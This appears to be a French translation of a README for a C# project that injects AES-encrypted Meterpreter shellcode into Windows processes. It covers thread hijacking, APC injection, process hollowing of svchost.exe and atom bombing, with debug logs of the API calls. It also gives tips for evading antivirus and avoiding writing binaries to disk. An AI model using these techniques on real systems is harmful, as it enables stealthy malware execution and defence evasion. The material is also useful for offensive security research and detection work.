
Implémentations en C# de techniques d'injection de shellcode, y compris l'injection classique, le détournement de threads, le creusement de processus et le bombardement d'atomes, utilisant des charges utiles Meterpreter chiffrées en AES pour la recherche de contournement des antivirus.
Une collection de techniques d'injection de shellcode en C#. Toutes les techniques utilisent une charge utile meterpreter chiffrée en AES.
Je vais enrichir ce projet au fur et à mesure que j'apprends, découvre ou développe de nouvelles techniques.
Remarque : Le projet n'est pas destiné à être utilisé tel quel. Si vous comptez utiliser l'une des techniques, vous aurez plus de chances de contourner l'antivirus si vous créez un projet plus petit et personnalisé avec votre technique choisie.
Si vous utilisez du code de ces dépôts, restez dans la légalité !
Vous pouvez utiliser une technique d'injection d'assembly via PowerShell si vous souhaitez éviter d'écrire des binaires .Net sur le disque.
ShellcodeRunner.cs : Cette technique n'est pas strictement une technique d'injection (car nous exécutons le shellcode dans le même processus) mais c'est la plus simple de toutes. Nous nous assurons que le shellcode utilise un emplacement mémoire fixe dans un contexte unsafe. Nous modifions la protection sur la page où se trouve le shellcode afin de pouvoir l'exécuter. Nous utilisons ensuite une fonction déléguée C# pour exécuter le shellcode.
[+] Using technique: ShellcodeInjectionTechniques.ShellcodeRunner
[+] VirtualProtect() - set to PAGE_EXECUTE_READWRITE, shellcode address: 0x20D000418E0
[+] Executing shellcode - memory address: 0x20D000418E0
ClassicInjection.cs : Cette technique alloue de la mémoire dans le processus cible, injecte le shellcode et démarre un nouveau thread.
[+] Found process: 24484
[+] Using technique: ShellcodeInjectionTechniques.ClassicInjection
[+] VirtualAllocEx(), assigned: 0x23642220000
[+] WriteProcessMemory() - remote address: 0x23642220000
[+] CreateRemoteThread() - thread handle: 0x380
ThreadHijack.cs : Cette technique détourne un thread en injectant du code dans le processus cible, suspend le thread détourné, définit le pointeur d'instruction (RIP) sur notre code injecté, puis reprend le thread.
[+] Found process: 11508
[+] Using technique: ShellcodeInjectionTechniques.ThreadHijack
[+] Found thread: 9344
[+] OpenThread() - thread handle: 0x378
[+] VirtualAllocEx(), assigned: 0x1D17AB80000
[+] WriteProcessMemory() - remote address: 0x1D17AB80000
[+] SuspendThread() - thread handle: 0x378
[+] GetThreadContext() - thread handle: 0x378
[+] RIP is: 0x7FFA77D21104
[+] SetThreadContext(), RIP assigned: 0x1D17AB80000
[+] ResumeThread() - thread handle: 0x378
LocalThreadHijack.cs : Cette technique crée un nouveau thread local dans un état suspendu, nous détournons ensuite le thread, définissons le pointeur d'instruction (RIP) sur notre code injecté, puis reprenons le thread.
[+] Using technique: ShellcodeInjectionTechniques.LocalThreadHijack
[+] CreateThread() - thread handle: 0x374
[+] VirtualProtect() - set to PAGE_EXECUTE_READWRITE, shellcode address: 0x270800418E0
[+] GetThreadContext() - thread handle: 0x374
[+] RIP is: 0x7FFA79EE2630
[+] SetThreadContext(), RIP assigned: 0x270800418E0
[+] ResumeThread() - thread handle: 0x374
APCInjection.cs : Cette technique est similaire à la technique de détournement de thread. Nous injectons le shellcode dans un thread distant, puis mettons en file d'attente un objet APC dans le thread. Lorsque le thread entre dans un état interrompable (lorsqu'il appelle SleepEx, SignalObjectAndWait, MsgWaitForMultipleObjectsEx, WaitForMultipleObjectsEx, ou WaitForSingleObjectEx), il exécute notre shellcode pointé par notre objet APC mis en file d'attente.
[+] Found process: 25320
[+] Using technique: ShellcodeInjectionTechniques.APCInjection
[+] Found thread: 23796
[+] OpenThread() - thread handle: 0x378
[+] VirtualAllocEx(), assigned: 0x24E064D0000
[+] WriteProcessMemory() - remote address: 0x24E064D0000
[+] QueueUserAPC() - thread handle: 0x378
ProcessHollow.cs : Cette technique démarre un autre processus dans un état suspendu (svchost.exe), trouve le point d'entrée du thread principal, injecte notre shellcode dedans, puis reprend le thread.
[+] Using technique: ShellcodeInjectionTechniques.ProcessHollow
[+] CreateProcess(): C:\Windows\System32\svchost.exe
[+] Pointer to ImageBase: 0xD31E956010
[+] ReadProcessMemory() - image base pointer: 0xD31E956010
[+] ImageBase: 0x7FF6116C0000
[+] ReadProcessMemory() - svchost base: 0x7FF6116C0000
[+] EntryPoint: 0xD31E956010
[+] WriteProcessMemory(): 0x7FF6116C4E80
[+] ResumeThread() - thread handle: 0x454
InterProcessMappedView.cs : Cette technique crée une nouvelle section en mémoire, crée une vue mappée locale de la section, copie notre shellcode dans la vue mappée locale et crée une vue mappée distante de la vue mappée locale dans le processus cible. Enfin, nous créons un nouveau thread dans le processus cible avec la vue mappée comme point d'entrée.
[+] Found process: 23740
[+] Using technique: ShellcodeInjectionTechniques.InterProcessMappedView
[+] NtCreateSection() - section handle: 0x37C
[+] NtMapViewOfSection() - local view: 0x20CB8E40000
[+] Marshalling shellcode
[+] NtMapViewOfSection() - remote view: 0x22D90310000
[+] RtlCreateUserThread() - thread handle: 0x384
AtomBomb.cs : Cette technique est intéressante par la façon dont nous écrivons le shellcode dans le processus cible. Nous utilisons la table d'atomes globale qui nous permet d'écrire des chaînes terminées par un caractère nul avec une taille maximale de 255 octets. Nous trouvons une cavité de code pour y écrire notre shellcode, puis utilisons des appels APC pour déclencher la lecture des noms d'atomes dans la mémoire par le processus cible. Enfin, nous utilisons quelques appels APC pour modifier la protection mémoire de la cible et exécuter le shellcode.
Mon code diffère de la technique originale Atom Bombing, écrite en C/C++. D'abord, je chaîne les noms d'atomes ensemble, en utilisant plusieurs APC, pour former un shellcode de plus de 255 octets. Je n'utilise pas de chaînes ROP pour forcer le processus cible à appeler VirtualProtect puis à exécuter le code, j'utilise la file d'attente APC.
Ce code nécessite que le thread principal entre dans un état interrompable pour exécuter la file d'attente APC et je ne nettoie pas après l'exécution du shellcode, le processus cible devient instable. Je prévois d'améliorer cette technique (en recherchant des threads interrompables et en nettoyant après), mais en tant que PoC, elle fonctionne bien.
[+] Found process: 14140
[+] Using technique: ShellcodeInjectionTechniques.AtomBomb
[+] Found thread: 5940
[+] OpenThread() - thread handle: 0xD0
[+] FindWritablePages() - number found: 2
[+] Found a suitable code cave - pWritable: 0x2CE60031
[+] GetProcAddress() - pGlobalGetAtomNameW: 0x7FFE20EB2680
[+] GlobalAddAtom() - ATOM: 0xC091
[+] NtQueueApcThread() - pWritable: 0x2CE60031
[+] GlobalAddAtom() - ATOM: 0xC06F
[+] NtQueueApcThread() - pWritable: 0x2CE600F9
[+] GlobalAddAtom() - ATOM: 0xC080
[+] NtQueueApcThread() - pWritable: 0x2CE601C1
[+] GlobalAddAtom() - ATOM: 0xC088
[+] NtQueueApcThread() - pWritable: 0x2CE60289
[+] GlobalAddAtom() - ATOM: 0xC084
[+] NtQueueApcThread() - pWritable: 0x2CE60351
[+] GetProcAddress() - pVirtualProtect: 0x7FFE20EBBC70
[+] NtQueueApcThread() PAGE_EXECUTE_READWRITE - codeCave: 0x2CE60031
[+] QueueUserAPC() - codeCave: 0x2CE60031
La technique de bombardement d'atome place des chaînes terminées par un caractère nul dans la table d'atomes globale, ce qui signifie que vous devez utiliser un shellcode qui ne contient pas de caractères 0x00.
Souvenez-vous que vous devrez démarrer un processus à injecter, sauf lorsque vous utilisez l'exécuteur de shellcode, la technique de détournement de thread local ou la technique de vidage de processus (cette technique démarre un nouveau processus dans un état suspendu).
[!] Unable to find process to inject into!
Lorsque vous utilisez l'exécuteur de shellcode, la technique de détournement de thread local ou la technique de vidage de processus, vous devrez commenter le code dans Program.cs qui recherche le processus à injecter :
/*
Process[] processes = Process.GetProcessesByName("notepad");
if(processes.Length == 0)
{
Debug("[!] Unable to find process to inject into!");
return;
}
Debug("[+] Found process: {0}", new string[] { processes[0].Id.ToString() });
target = processes[0];
*/